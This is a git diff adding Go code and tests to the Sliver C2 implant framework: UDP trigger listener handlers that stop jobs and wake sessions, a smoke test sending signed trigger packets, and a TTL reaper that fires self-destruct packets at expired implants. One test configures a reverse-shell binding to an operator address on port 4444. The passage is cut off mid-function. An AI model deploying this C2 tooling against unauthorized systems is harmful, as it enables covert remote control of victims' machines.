a/server/c2/trigger/handlers/stopjob.go b/server/c2/trigger/handlers/stopjob.go new file mode 100644 index 0000000000..85aadd3f9b --- /dev/null +++ b/server/c2/trigger/handlers/stopjob.go @@ -0,0 +1,94 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "fmt" + "strings" + + "github.com/0x90pkt/trigger/pkg/intents" + + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/log" +) + +var stopJobLog = log.NamedLogger("c2", "trigger-stop-job") + +// jobsLookup is a package-level indirection so tests can supply a +// fake job list. Returns the slice of active jobs. +var jobsLookup = func() []*core.Job { return core.Jobs.All() } + +// StopJob is an intents.Handler bound to a specific job name at +// construction. On trigger fire, it locates the first active job +// matching the name and sends a non-blocking shutdown signal on its +// JobCtrl channel. +// +// Name match is exact (case-sensitive). If multiple jobs share the +// name, the first match wins. Operators who need finer control should +// bind multiple StopJob handlers with distinctive task labels, or +// use stopByID instead (not yet implemented). +type StopJob struct { + intent string + jobName string +} + +// NewStopJob constructs a StopJob handler. +func NewStopJob(intent, jobName string) (*StopJob, error) { + if strings.TrimSpace(intent) == "" { + return nil, errors.New("stop-job: task name must be set") + } + if strings.TrimSpace(jobName) == "" { + return nil, errors.New("stop-job: job name must be set") + } + return &StopJob{intent: intent, jobName: jobName}, nil +} + +// Name implements intents.Handler. +func (h *StopJob) Name() string { return h.intent } + +// Execute implements intents.Handler. Locates the target job, sends a +// non-blocking JobCtrl signal. Returns an error if no matching job is +// active OR if the job's JobCtrl is busy (already shutting down) — +// the non-blocking send prevents the worker goroutine from hanging +// in the case where another goroutine is concurrently draining +// JobCtrl. +func (h *StopJob) Execute(_ context.Context, evt intents.Event) error { + var target *core.Job + for _, j := range jobsLookup() { + if j.Name == h.jobName { + target = j + break + } + } + if target == nil { + return fmt.Errorf("stop-job %s: no active job named %q", h.intent, h.jobName) + } + + select { + case target.JobCtrl <- true: + stopJobLog.Infof("stop-job fired: intent=%s job=%s (id=%d) triggered_by=%s source_ip=%s", + h.intent, h.jobName, target.ID, evt.ClientID, evt.SourceIP) + return nil + default: + return fmt.Errorf("stop-job %s: job %q (id=%d) JobCtrl is busy (concurrent stop in progress?)", + h.intent, h.jobName, target.ID) + } +} diff --git a/server/c2/trigger/handlers/stopjob_test.go b/server/c2/trigger/handlers/stopjob_test.go new file mode 100644 index 0000000000..5047e6ba21 --- /dev/null +++ b/server/c2/trigger/handlers/stopjob_test.go @@ -0,0 +1,131 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" + + "github.com/bishopfox/sliver/server/core" +) + +// withJobStubs swaps the jobsLookup indirection for the test duration. +func withJobStubs(t *testing.T, lookup func() []*core.Job) { + t.Helper() + orig := jobsLookup + jobsLookup = lookup + t.Cleanup(func() { jobsLookup = orig }) +} + +func TestNewStopJobRejectsBadInputs(t *testing.T) { + if _, err := NewStopJob("", "x"); err == nil { + t.Fatalf("expected error for empty task name") + } + if _, err := NewStopJob("x", ""); err == nil { + t.Fatalf("expected error for empty job name") + } +} + +func TestStopJobExecuteSendsOnJobCtrl(t *testing.T) { + job := &core.Job{ID: 7, Name: "mtls-8443", JobCtrl: make(chan bool, 1)} + withJobStubs(t, func() []*core.Job { return []*core.Job{job} }) + + h, err := NewStopJob("kill-mtls", "mtls-8443") + if err != nil { + t.Fatalf("NewStopJob: %v", err) + } + if err := h.Execute(context.Background(), intents.Event{ClientID: "operator-jc"}); err != nil { + t.Fatalf("Execute: %v", err) + } + select { + case got := <-job.JobCtrl: + if !got { + t.Fatalf("JobCtrl received %v, want true", got) + } + case <-time.After(100 * time.Millisecond): + t.Fatalf("expected value on JobCtrl, got timeout") + } +} + +func TestStopJobExecuteHandlesNoMatchingJob(t *testing.T) { + withJobStubs(t, func() []*core.Job { + return []*core.Job{{ID: 1, Name: "different-job", JobCtrl: make(chan bool, 1)}} + }) + h, _ := NewStopJob("kill", "missing") + err := h.Execute(context.Background(), intents.Event{}) + if err == nil || !strings.Contains(err.Error(), "no active job") { + t.Fatalf("expected no-active-job error, got %v", err) + } +} + +func TestStopJobExecuteNonBlockingWhenCtrlBusy(t *testing.T) { + // Unbuffered channel, no reader → send must NOT block; handler + // returns "busy" error instead of hanging the worker goroutine. + job := &core.Job{ID: 9, Name: "stuck", JobCtrl: make(chan bool)} + withJobStubs(t, func() []*core.Job { return []*core.Job{job} }) + + h, _ := NewStopJob("kill-stuck", "stuck") + done := make(chan error, 1) + go func() { done <- h.Execute(context.Background(), intents.Event{}) }() + + select { + case err := <-done: + if err == nil || !strings.Contains(err.Error(), "busy") { + t.Fatalf("expected busy error, got %v", err) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("Execute hung — non-blocking send is broken") + } +} + +func TestStopJobExecutePicksFirstMatch(t *testing.T) { + first := &core.Job{ID: 1, Name: "dupe", JobCtrl: make(chan bool, 1)} + second := &core.Job{ID: 2, Name: "dupe", JobCtrl: make(chan bool, 1)} + withJobStubs(t, func() []*core.Job { return []*core.Job{first, second} }) + + h, _ := NewStopJob("kill", "dupe") + if err := h.Execute(context.Background(), intents.Event{}); err != nil { + t.Fatalf("Execute: %v", err) + } + + // Exactly one of the two should have received the signal — the + // first match by iteration order. + select { + case <-first.JobCtrl: + case <-time.After(100 * time.Millisecond): + t.Fatalf("first job did not receive signal") + } + select { + case <-second.JobCtrl: + t.Fatalf("second job should NOT have received signal") + case <-time.After(50 * time.Millisecond): + // expected: nothing received + } +} + +func TestStopJobName(t *testing.T) { + h, _ := NewStopJob("custom-stop", "target") + if h.Name() != "custom-stop" { + t.Fatalf("Name() = %q, want custom-stop", h.Name()) + } +} diff --git a/server/c2/trigger/handlers/wakebeacon.go b/server/c2/trigger/handlers/wakebeacon.go new file mode 100644 index 0000000000..b11e617052 --- /dev/null +++ b/server/c2/trigger/handlers/wakebeacon.go @@ -0,0 +1,115 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "fmt" + "strings" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" + "github.com/gofrs/uuid" + + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/db/models" + "github.com/bishopfox/sliver/server/log" +) + +var wakeSessionLog = log.NamedLogger("c2", "trigger-wake-session") + +// beaconLookup and beaconSave are package-level indirections so tests +// can swap in fakes without touching the real GORM session. +var ( + beaconLookup = db.BeaconByID + beaconSave = func(b *models.Beacon) error { + return db.Session().Save(b).Error + } +) + +// WakeSession is a task handler (intents.Handler) that fires a wake signal for +// a trigger implant. Trigger implants always establish interactive sessions +// (never beacons) when woken. +// +// For server-side trigger listeners that target legacy beacon implants, this +// handler updates the beacon's NextCheckin to time.Now() so the server treats +// the next check-in as "due immediately." For trigger implants (which use +// session mode), the wake packet is sent directly to the implant's UDP +// listener, and this handler logs the wake event for audit purposes. +// +// The handler retains the beacon UUID binding for backward compatibility with +// existing server-side trigger listener configurations that reference beacon +// UUIDs. New deployments targeting trigger implants may pass a placeholder +// UUID and rely on the UDP wake packet reaching the implant directly. +type WakeSession struct { + intent string + beaconID string // uuid string (may be a placeholder for session-mode wakes) +} + +// NewWakeSession constructs a WakeSession handler. The beacon UUID is +// validated at construction so an invalid binding fails fast at +// listener-start rather than at first trigger fire. +func NewWakeSession(intent, beaconID string) (*WakeSession, error) { + if strings.TrimSpace(intent) == "" { + return nil, errors.New("wake-session: task name must be set") + } + if strings.TrimSpace(beaconID) == "" { + return nil, errors.New("wake-session: beacon ID must be set") + } + if _, err := uuid.FromString(beaconID); err != nil { + return nil, fmt.Errorf("wake-session: invalid UUID %q: %w", beaconID, err) + } + return &WakeSession{intent: intent, beaconID: beaconID}, nil +} + +// NewWakeBeacon is a backward-compatible alias for NewWakeSession. +// Deprecated: use NewWakeSession instead. +func NewWakeBeacon(intent, beaconID string) (*WakeSession, error) { + return NewWakeSession(intent, beaconID) +} + +// Name implements intents.Handler. +func (h *WakeSession) Name() string { return h.intent } + +// Execute implements intents.Handler. If a beacon exists with the configured +// UUID, updates its NextCheckin to now for backward compatibility. For trigger +// implants (session mode), the real wake happens via the UDP packet -- this +// handler logs the event for server-side audit. +func (h *WakeSession) Execute(_ context.Context, evt intents.Event) error { + beacon, err := beaconLookup(h.beaconID) + if err != nil { + return fmt.Errorf("wake-session %s: lookup %s: %w", h.intent, h.beaconID, err) + } + if beacon == nil { + // No beacon found -- this is expected for session-mode trigger implants. + // Log the wake event and return success. + wakeSessionLog.Infof("wake-session fired (session mode): intent=%s target=%s triggered_by=%s source_ip=%s nonce=%s", + h.intent, h.beaconID, evt.ClientID, evt.SourceIP, evt.Nonce) + return nil + } + // Legacy beacon path: update NextCheckin for backward compat. + beacon.NextCheckin = time.Now().Unix() + if err := beaconSave(beacon); err != nil { + return fmt.Errorf("wake-session %s: save %s: %w", h.intent, h.beaconID, err) + } + wakeSessionLog.Infof("wake-session fired (beacon compat): intent=%s beacon=%s triggered_by=%s source_ip=%s nonce=%s", + h.intent, h.beaconID, evt.ClientID, evt.SourceIP, evt.Nonce) + return nil +} diff --git a/server/c2/trigger/handlers/wakebeacon_test.go b/server/c2/trigger/handlers/wakebeacon_test.go new file mode 100644 index 0000000000..eb62811d71 --- /dev/null +++ b/server/c2/trigger/handlers/wakebeacon_test.go @@ -0,0 +1,183 @@ +package handlers + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/0x90pkt/trigger/pkg/intents" + "github.com/gofrs/uuid" + + "github.com/bishopfox/sliver/server/db/models" +) + +// withBeaconStubs swaps the package-level indirections for the +// duration of the test, restoring originals on cleanup. Each test that +// touches the DB uses this — keeps tests hermetic. +func withBeaconStubs(t *testing.T, lookup func(string) (*models.Beacon, error), save func(*models.Beacon) error) { + t.Helper() + origLookup := beaconLookup + origSave := beaconSave + beaconLookup = lookup + beaconSave = save + t.Cleanup(func() { + beaconLookup = origLookup + beaconSave = origSave + }) +} + +func TestNewWakeSessionRejectsBadInputs(t *testing.T) { + valid := uuid.Must(uuid.NewV4()).String() + cases := []struct { + name string + intent string + beaconID string + want string + }{ + {"empty task name", "", valid, "task name"}, + {"empty beacon id", "wake", "", "beacon ID"}, + {"non-uuid beacon id", "wake", "not-a-uuid", "invalid UUID"}, + } + for _, tc := range cases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + _, err := NewWakeSession(tc.intent, tc.beaconID) + if err == nil { + t.Fatalf("expected NewWakeSession to reject %s", tc.name) + } + if !strings.Contains(err.Error(), tc.want) { + t.Fatalf("error %q did not contain %q", err.Error(), tc.want) + } + }) + } +} + +func TestNewWakeBeaconAliasWorks(t *testing.T) { + id := uuid.Must(uuid.NewV4()).String() + h, err := NewWakeBeacon("alias-test", id) + if err != nil { + t.Fatalf("NewWakeBeacon (alias): %v", err) + } + if h.Name() != "alias-test" { + t.Fatalf("Name() = %q, want alias-test", h.Name()) + } +} + +func TestWakeSessionExecuteUpdatesNextCheckin(t *testing.T) { + beaconID := uuid.Must(uuid.NewV4()) + b := &models.Beacon{ID: beaconID, NextCheckin: 1} + + var savedBeacon *models.Beacon + withBeaconStubs(t, + func(id string) (*models.Beacon, error) { + if id != beaconID.String() { + return nil, errors.New("wrong id") + } + return b, nil + }, + func(beacon *models.Beacon) error { + savedBeacon = beacon + return nil + }, + ) + + h, err := NewWakeSession("wake-jumpbox", beaconID.String()) + if err != nil { + t.Fatalf("NewWakeSession: %v", err) + } + + before := time.Now().Unix() + if err := h.Execute(context.Background(), intents.Event{ClientID: "operator-jc", SourceIP: "10.0.0.5"}); err != nil { + t.Fatalf("Execute: %v", err) + } + + if savedBeacon == nil { + t.Fatalf("save was not called") + } + if savedBeacon.NextCheckin < before { + t.Fatalf("NextCheckin=%d not updated (before=%d)", savedBeacon.NextCheckin, before) + } +} + +func TestWakeSessionExecuteHandlesSessionMode(t *testing.T) { + // When beacon lookup returns nil (session-mode trigger implant), + // Execute should succeed without calling save. + beaconID := uuid.Must(uuid.NewV4()) + withBeaconStubs(t, + func(_ string) (*models.Beacon, error) { return nil, nil }, + func(_ *models.Beacon) error { t.Fatal("save should not be called for session-mode wake"); return nil }, + ) + h, _ := NewWakeSession("wake-session", beaconID.String()) + err := h.Execute(context.Background(), intents.Event{ClientID: "operator-jc", SourceIP: "10.0.0.5"}) + if err != nil { + t.Fatalf("expected no error for session-mode wake, got: %v", err) + } +} + +func TestWakeSessionExecuteHandlesBeaconNotFoundGracefully(t *testing.T) { + // With session-mode trigger implants, beacon not found is expected + // and should NOT be an error. + beaconID := uuid.Must(uuid.NewV4()) + withBeaconStubs(t, + func(_ string) (*models.Beacon, error) { return nil, nil }, + func(_ *models.Beacon) error { t.Fatal("save should not be called"); return nil }, + ) + h, _ := NewWakeSession("wake", beaconID.String()) + err := h.Execute(context.Background(), intents.Event{}) + if err != nil { + t.Fatalf("expected no error for session-mode (beacon not found), got: %v", err) + } +} + +func TestWakeSessionExecutePropagatesLookupError(t *testing.T) { + beaconID := uuid.Must(uuid.NewV4()) + withBeaconStubs(t, + func(_ string) (*models.Beacon, error) { return nil, errors.New("db down") }, + func(_ *models.Beacon) error { t.Fatal("save should not be called"); return nil }, + ) + h, _ := NewWakeSession("wake", beaconID.String()) + err := h.Execute(context.Background(), intents.Event{}) + if err == nil || !strings.Contains(err.Error(), "db down") { + t.Fatalf("expected db error to propagate, got %v", err) + } +} + +func TestWakeSessionExecutePropagatesSaveError(t *testing.T) { + beaconID := uuid.Must(uuid.NewV4()) + withBeaconStubs(t, + func(_ string) (*models.Beacon, error) { return &models.Beacon{ID: beaconID}, nil }, + func(_ *models.Beacon) error { return errors.New("save failed") }, + ) + h, _ := NewWakeSession("wake", beaconID.String()) + err := h.Execute(context.Background(), intents.Event{}) + if err == nil || !strings.Contains(err.Error(), "save failed") { + t.Fatalf("expected save error to propagate, got %v", err) + } +} + +func TestWakeSessionName(t *testing.T) { + h, _ := NewWakeSession("custom-task", uuid.Must(uuid.NewV4()).String()) + if h.Name() != "custom-task" { + t.Fatalf("Name() = %q, want custom-task", h.Name()) + } +} diff --git a/server/c2/trigger_smoke_test.go b/server/c2/trigger_smoke_test.go new file mode 100644 index 0000000000..6001860414 --- /dev/null +++ b/server/c2/trigger_smoke_test.go @@ -0,0 +1,141 @@ +package c2 + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "testing" + "time" + + "github.com/0x90pkt/trigger/pkg/protocol" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/core" +) + +// TestSmoke_TriggerListenerDispatchesStopJob exercises the full +// Sliver-side path end-to-end: +// +// factory -> bind UDP -> receive trigger -> HMAC verify -> +// task dispatch -> StopJob handler -> non-blocking JobCtrl send. +// +// It uses a fake core.Job as the StopJob target. A successful run +// proves the imported listener + Sliver-side glue work together. +// +// Pinned port (no t.Parallel), tag gates: server go_sqlite. +func TestSmoke_TriggerListenerDispatchesStopJob(t *testing.T) { + const ( + port = 14629 + secret = "smoke-test-secret-xxxxxxxxxxxxxx" + ) + + // 1. Fake target job. The StopJob handler will look it up by name + // via core.Jobs.All() and signal its JobCtrl. + targetJob := &core.Job{ + ID: core.NextJobID(), + Name: "smoke-target", + JobCtrl: make(chan bool, 1), + } + core.Jobs.Add(targetJob) + t.Cleanup(func() { core.Jobs.Remove(targetJob) }) + + // 2. Start the trigger listener with a stop-job binding for the + // fake target. + req := &clientpb.TriggerListenerReq{ + Host: "127.0.0.1", + Port: port, + SharedSecret: []byte(secret), + ServerID: "smoke-server", + Intents: []*clientpb.TriggerIntentBinding{{ + Name: "kill-target", + Config: &clientpb.TriggerIntentBinding_StopJob{ + StopJob: &clientpb.StopJobConfig{JobName: targetJob.Name}, + }, + }}, + } + triggerJob, err := StartTriggerListenerJob(req) + if err != nil { + t.Fatalf("StartTriggerListenerJob: %v", err) + } + t.Cleanup(func() { + // Non-blocking — defensive in case the listener already shut down. + select { + case triggerJob.JobCtrl <- true: + default: + } + }) + + // 3. Give the listener a moment to bind (the factory spawns its + // Start goroutine async). + time.Sleep(150 * time.Millisecond) + + // 4. Sign + send a real UDP trigger packet. + if err := sendSmokeTrigger(t, fmt.Sprintf("127.0.0.1:%d", port), secret, "smoke-operator", "kill-target"); err != nil { + t.Fatalf("sendSmokeTrigger: %v", err) + } + + // 5. The StopJob handler should fire and signal the target's + // JobCtrl. Wait for it. + select { + case got := <-targetJob.JobCtrl: + if !got { + t.Fatalf("JobCtrl received %v, want true", got) + } + case <-time.After(3 * time.Second): + t.Fatalf("target job's JobCtrl never fired — handler dispatch broken") + } +} + +func sendSmokeTrigger(t *testing.T, addr, secret, clientID, intent string) error { + t.Helper() + nonce, err := protocol.GenerateNonce() + if err != nil { + return fmt.Errorf("nonce: %w", err) + } + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: clientID, + Nonce: nonce, + Timestamp: protocol.NowUTC(), + Intent: intent, + } + sig, err := protocol.Sign(msg, secret) + if err != nil { + return fmt.Errorf("sign: %w", err) + } + msg.Signature = sig + payload, err := protocol.EncodeWire(msg) + if err != nil { + return fmt.Errorf("encode: %w", err) + } + udpAddr, err := net.ResolveUDPAddr("udp", addr) + if err != nil { + return fmt.Errorf("resolve: %w", err) + } + conn, err := net.DialUDP("udp", nil, udpAddr) + if err != nil { + return fmt.Errorf("dial: %w", err) + } + defer conn.Close() + if _, err := conn.Write(payload); err != nil { + return fmt.Errorf("write: %w", err) + } + return nil +} diff --git a/server/c2/trigger_test.go b/server/c2/trigger_test.go new file mode 100644 index 0000000000..7629c4dba5 --- /dev/null +++ b/server/c2/trigger_test.go @@ -0,0 +1,185 @@ +package c2 + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + "testing" + "time" + + "github.com/gofrs/uuid" + + "github.com/bishopfox/sliver/protobuf/clientpb" +) + +// These tests exercise the pure-Go validation + translation paths in +// trigger.go. The full job-lifecycle path (UDP bind, core.Jobs.Add, +// JobCtrl watcher) is covered by the end-to-end smoke test that +// builds the actual sliver-server binary, not here. + +func TestBuildKeyringRejectsEmptyConfig(t *testing.T) { + _, err := buildKeyring(&clientpb.TriggerListenerReq{}) + if err == nil || !strings.Contains(err.Error(), "must be set") { + t.Fatalf("expected error for empty keyring config, got %v", err) + } +} + +func TestBuildKeyringRejectsStrictWithoutClientKeys(t *testing.T) { + _, err := buildKeyring(&clientpb.TriggerListenerReq{ + SharedSecret: []byte("default"), + Strict: true, + }) + if err == nil || !strings.Contains(err.Error(), "strict") { + t.Fatalf("expected strict-mode error, got %v", err) + } +} + +func TestBuildKeyringHappyPath(t *testing.T) { + k, err := buildKeyring(&clientpb.TriggerListenerReq{ + SharedSecret: []byte("default-secret"), + PerClientKeys: map[string][]byte{ + "operator-jc": []byte("jc-secret"), + }, + }) + if err != nil { + t.Fatalf("buildKeyring: %v", err) + } + if got, _ := k.SecretFor("operator-jc"); string(got) != "jc-secret" { + t.Fatalf("per-client lookup: got %s", got) + } + if got, _ := k.SecretFor("anyone-else"); string(got) != "default-secret" { + t.Fatalf("default fallback: got %s", got) + } +} + +func TestHandlerForBindingDispatchesAllKinds(t *testing.T) { + bid := uuid.Must(uuid.NewV4()).String() + cases := []struct { + name string + binding *clientpb.TriggerIntentBinding + want string + }{ + { + "wake-beacon", + &clientpb.TriggerIntentBinding{ + Name: "wake", + Config: &clientpb.TriggerIntentBinding_WakeBeacon{ + WakeBeacon: &clientpb.WakeBeaconConfig{BeaconID: bid}, + }, + }, + "wake", + }, + { + "stop-job", + &clientpb.TriggerIntentBinding{ + Name: "kill", + Config: &clientpb.TriggerIntentBinding_StopJob{ + StopJob: &clientpb.StopJobConfig{JobName: "mtls-listener"}, + }, + }, + "kill", + }, + { + "exec", + &clientpb.TriggerIntentBinding{ + Name: "shellout", + Config: &clientpb.TriggerIntentBinding_Exec{ + Exec: &clientpb.ExecConfig{Cmd: "/bin/true"}, + }, + }, + "shellout", + }, + { + "reverse-shell", + &clientpb.TriggerIntentBinding{ + Name: "get-shell", + Config: &clientpb.TriggerIntentBinding_ReverseShell{ + ReverseShell: &clientpb.ReverseShellConfig{ + OperatorAddr: "10.0.0.5:4444", + MaxSessionDurationMs: uint32((10 * time.Minute) / time.Millisecond), + }, + }, + }, + "get-shell", + }, + } + for _, tc := range cases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + h, err := handlerForBinding(tc.binding) + if err != nil { + t.Fatalf("handlerForBinding: %v", err) + } + if h.Name() != tc.want { + t.Fatalf("Name() = %q want %q", h.Name(), tc.want) + } + }) + } +} + +func TestHandlerForBindingRejectsUnsetConfig(t *testing.T) { + _, err := handlerForBinding(&clientpb.TriggerIntentBinding{Name: "x"}) + if err == nil || !strings.Contains(err.Error(), "config oneof") { + t.Fatalf("expected unset-config error, got %v", err) + } +} + +func TestCoercionHelpers(t *testing.T) { + if intOr(0, 7) != 7 { + t.Fatalf("intOr default broken") + } + if intOr(42, 7) != 42 { + t.Fatalf("intOr override broken") + } + if secondsOr(0, 30*time.Second) != 30*time.Second { + t.Fatalf("secondsOr default broken") + } + if secondsOr(5, 30*time.Second) != 5*time.Second { + t.Fatalf("secondsOr override broken") + } + if got := msOr(0, time.Second); got != time.Second { + t.Fatalf("msOr default: %v", got) + } + if got := msOr(1500, time.Second); got != 1500*time.Millisecond { + t.Fatalf("msOr override: %v", got) + } +} + +func TestSliceToSet(t *testing.T) { + if got := sliceToSet(nil); got != nil { + t.Fatalf("nil slice should yield nil set, got %v", got) + } + got := sliceToSet([]string{"a", "", "b", "a"}) + if len(got) != 2 { + t.Fatalf("expected 2 entries, got %d: %v", len(got), got) + } + if _, ok := got["a"]; !ok { + t.Fatalf("missing a") + } +} + +func TestServerIDOrDefault(t *testing.T) { + if got := serverIDOrDefault("custom"); got != "custom" { + t.Fatalf("expected explicit ID, got %q", got) + } + got := serverIDOrDefault("") + if got == "" { + t.Fatalf("default ID empty") + } +} diff --git a/server/c2/trigger_ttl_reaper.go b/server/c2/trigger_ttl_reaper.go new file mode 100644 index 0000000000..90da12bcba --- /dev/null +++ b/server/c2/trigger_ttl_reaper.go @@ -0,0 +1,200 @@ +package c2 + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ---------------------------------------------------------------------- + + Server-side TTL reaper: a SECONDARY defense-in-depth fallback for + trigger-enabled implants. The implant-side TTL watchdog is the + PRIMARY mechanism. This reaper runs as a background goroutine for the + lifetime of the server process and periodically checks for implants + whose TTL has expired, firing self-destruct packets at their last + known IP:port as a last resort. + + Design constraints: + - Conservative: only fires self-destruct when TTL is clearly expired. + - Rate-limited: at most one self-destruct per implant per hour. + - Observable: every action is logged to the c2/ttl-reaper logger. + - Non-blocking: failures (network errors, missing data) are logged + and skipped, never fatal. +*/ + +import ( + "time" + + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/db/models" + "github.com/bishopfox/sliver/server/log" +) + +var reaperLog = log.NamedLogger("c2", "ttl-reaper") + +const ( + // DefaultReaperInterval is how often the reaper checks for expired TTLs. + DefaultReaperInterval = 5 * time.Minute + + // reaperCooldown is the minimum time between self-destruct attempts + // for a single implant. Prevents spamming self-destruct packets at + // unreachable targets. + reaperCooldown = 1 * time.Hour +) + +// StartTTLReaper launches the background TTL reaper goroutine. It runs +// for the lifetime of the process (no stop channel -- the goroutine +// dies with the server). Call once from daemon startup. +func StartTTLReaper() { + go ttlReaperLoop(DefaultReaperInterval) +} + +// ttlReaperLoop is the main reaper loop. Separated from StartTTLReaper +// for testability (callers can pass a custom interval). +func ttlReaperLoop(interval time.Duration) { + reaperLog.Infof("TTL reaper started (interval=%v, cooldown=%v)", interval, reaperCooldown) + ticker := time.NewTicker(interval) + defer ticker.Stop() + + for range ticker.C { + reaperSweep() + } +} + +// reaperSweep runs one pass of the reaper: enumerate all trigger-enabled +// implant configs with TTL, cross-reference with TriggerActivity, and +// fire self-destruct at any that have expired. +func reaperSweep() { + configs, err := triggerConfigsWithTTL() + if err != nil { + reaperLog.Errorf("reaper sweep: failed to query trigger configs: %v", err) + return + } + if len(configs) == 0 { + return // nothing to do -- common case + } + + activities, err := db.AllTriggerActivities() + if err != nil { + reaperLog.Errorf("reaper sweep: failed to query trigger activities: %v", err) + return + } + activityByConfig := indexActivitiesByConfig(activities) + + now := time.Now() + for _, cfg := range configs { + configID := cfg.ID.String() + activity, hasActivity := activityByConfig[configID] + + // Check if the TTL has expired based on the absolute deadline. + if cfg.TTLExpiresAtUnix > 0 && now.Unix() < cfg.TTLExpiresAtUnix { + continue // TTL not expired yet + } + + // Also check activity-relative TTL: if the operator has been + // actively firing triggers at this implant recently, the implant + // is presumably still alive and the operator is managing it. + if hasActivity && cfg.TTLMinutes > 0 { + activityDeadline := activity.LastActivityAt.Add(time.Duration(cfg.TTLMinutes) * time.Minute) + if now.Before(activityDeadline) { + continue // recent activity extends the window + } + } + + // TTL is expired. Can we reach the implant? + if !hasActivity || activity.LastSeenIP == "" { + reaperLog.Warnf("reaper: implant config %s (name=%s) TTL expired but no last-known IP -- cannot send self-destruct", + configID, buildNameForConfig(configID)) + continue + } + + // Rate-limit: don't spam self-destruct. + if activity.TTLReaperFiredAt != nil { + if now.Sub(*activity.TTLReaperFiredAt) < reaperCooldown { + reaperLog.Debugf("reaper: implant config %s -- self-destruct already fired at %v, cooldown not elapsed", + configID, activity.TTLReaperFiredAt.Format(time.RFC3339)) + continue + } + } + + // Fire self-destruct. + secret := string(cfg.TriggerWakeSecret) + if secret == "" { + reaperLog.Warnf("reaper: implant config %s -- TTL expired but TriggerWakeSecret is empty, cannot sign self-destruct", + configID) + continue + } + + reaperLog.Warnf("reaper: FIRING SELF-DESTRUCT at implant config %s (name=%s) target=%s:%d -- TTL expired (deadline=%v, last_activity=%v)", + configID, + buildNameForConfig(configID), + activity.LastSeenIP, + activity.LastSeenPort, + time.Unix(cfg.TTLExpiresAtUnix, 0).Format(time.RFC3339), + activity.LastActivityAt.Format(time.RFC3339), + ) + + _, err := FireTriggerPacket( + activity.LastSeenIP, + int(activity.LastSeenPort), + "self-destruct", + secret, + "ttl-reaper", + "", + ) + if err != nil { + reaperLog.Errorf("reaper: self-destruct fire failed for config %s: %v", configID, err) + // Still mark it as fired to respect cooldown -- the network + // error doesn't mean we should hammer the target. + } else { + reaperLog.Infof("reaper: self-destruct packet sent to %s:%d for config %s", + activity.LastSeenIP, activity.LastSeenPort, configID) + } + + if markErr := db.MarkReaperFired(configID); markErr != nil { + reaperLog.Errorf("reaper: failed to mark reaper fired for config %s: %v", configID, markErr) + } + } +} + +// triggerConfigsWithTTL queries all ImplantConfigs that have trigger +// wake enabled AND TTL enabled. +func triggerConfigsWithTTL() ([]models.ImplantConfig, error) { + var configs []models.ImplantConfig + err := 